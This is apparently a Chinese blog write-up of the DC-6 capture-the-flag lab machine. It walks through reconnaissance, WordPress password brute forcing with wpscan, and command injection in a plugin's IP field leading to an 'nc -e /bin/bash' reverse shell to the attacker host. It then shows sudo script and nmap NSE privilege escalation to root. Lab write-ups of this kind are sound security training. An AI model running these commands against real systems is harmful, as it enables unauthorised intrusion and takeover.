一、信息收集
nmap扫描一下网段,靶机ip为192.168.234。
nmap -sP 192.168.145.*
再扫一下端口,依旧是老样子22、80端口。
nmap -sT -T4 -p1-65535 192.168.145.234
顺便再扫下网站目录,有个后台登录的网址/wp-login.php。
dirsearch -u http://192.168.145.234/
二、getshell
信息收集的差不多了,开始getshell,先浏览器访问看看。但是直接访问不行,一直在转圈,估计dns解析不了,那我们先到/etc/hosts添加一下。
保存再浏览器访问一下,结果还是不行????有点懵,按道理说应该可以访问了,然后我看了看别人的wp。应该修改为wordy,而不是www.wordy.com,好吧,再修改保存。
然后再访问就可以了,不过好像没啥东西。
访问刚刚扫描到的后台登录网址,一看就知道是wordpress的cms啦,之前写的dc2有说过,如果说看不出来是啥cms,用wappalyzer看一下不就行了嘛。
老规矩,wordpress的cms用wpscan扫描,先扫一下存在的用户。这里有个小坑,如用wpscan扫后台的网址的话扫不出来用户,要扫官网才行也就是我们刚刚访问的这个,也不能说是坑吧,怪我技术不行。
wpscan --url http://wordy/wp-login.php --enumerate vp //扫后台啥也没有
wpscan --url http://wordy/ -e //扫官网才有东西
扫描出来五个用户,接下来就是爆破密码了。这里我踩了很大的坑,一开始我用九头蛇爆破,但是换了好多字典都没爆破出来。后来我又用wpscan爆破,也是换了好多字典都不行。但是思路应该是没错的,还是去看看别人的wp,原来在dc6靶机下载的官网里有给提示。
有点逆天,要用kali自带的字典,直接执行它给的命令即可,会生成password.txt字典。如果你直接用rockyou.txt当字典来爆破的话,要挺久的,毕竟里面的密码数量还是蛮多的
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
最后把五个账号保存到dc6.txt,再用wpscan爆破一下就可以了,爆破有点久耐心等下
wpscan --url http://wordy/wp-login.php -P password.txt -U dc6.txt
登录进去,随便点一下,看看能不能找到漏洞
在这里有个输入ip的地方,输入IP会有解析,估计是命令执行
抓个包看看有无命令执行漏洞,抓到包后在ip这里拼接whoami,再重发看看。顺便说一下,抓lookup的包而不是convert的包
可以看到执行了whoami,返回了www-data
确定有命令执行漏洞了,那么剩下的就简单了,直接nc连接反弹shell就行
nc -lnvp 2333 //kali监听
nc -e /bin/bash 192.168.145.171 2333 //替换刚刚的whoami,再重发即可
三、提权
先建立个交互式的shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
随便看看,发现个提示文件
打开看看,里面给出用户graham的密码GSo7isUM1D4
ssh连接graham用户
ssh graham@192.168.145.234
先看看能不能suid提权,结果好像没有
find / -perm -u=s -type f 2>/dev/null
再看看有啥sudo权限的命令,命令没有脚本倒是有一个。属主为jens的脚本,也就是说当我们sudo运行这个脚本的时候,此时我们的身份就为jens。
sudo -l
那我们直接在backups.sh里面写入建立shell的命令,然后再sudo运行那不就获得一个身份为jens的shell了嘛。这里我直接把原本的内容删除替换为下面的,vim命令被禁用了要用vi
#! /bin/bash
/bin/bash
sudo指定用户运行即可,因为属主为jens,所以要指定运行用户为jens。那为啥不需要jens的密码呢,因为上面sudo -l说了NOPASSWD,成功切换。
sudo -u jens ./backups.sh
看看jens有啥sudo权限
sudo -l
一眼看出来nmap提权,但问题是我也是第一次遇见nmap提权啊,怎么办,上网查查如下。已经更新到我之前的sudo提权文章sudo提权
nmap以root运行
echo 'os.execute("/bin/sh")' > getshell.nse
#nse是nmap的插件扩展名
sudo nmap --script=/home/jens/getshell.nse
成功提权,最后到root打开flag即可
四、总结
这个靶机主要涉及重定向、wpscan的使用,这两个都是之前就遇见过的,不算难。唯一有点坑的是要去它那个官网找到那个字典提示,还有这个指定用户运行脚本我也是第一次见,之前都是切换到相对应的用户再运行脚本的,最后一个就是nmap提权,也是第一次见。
最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。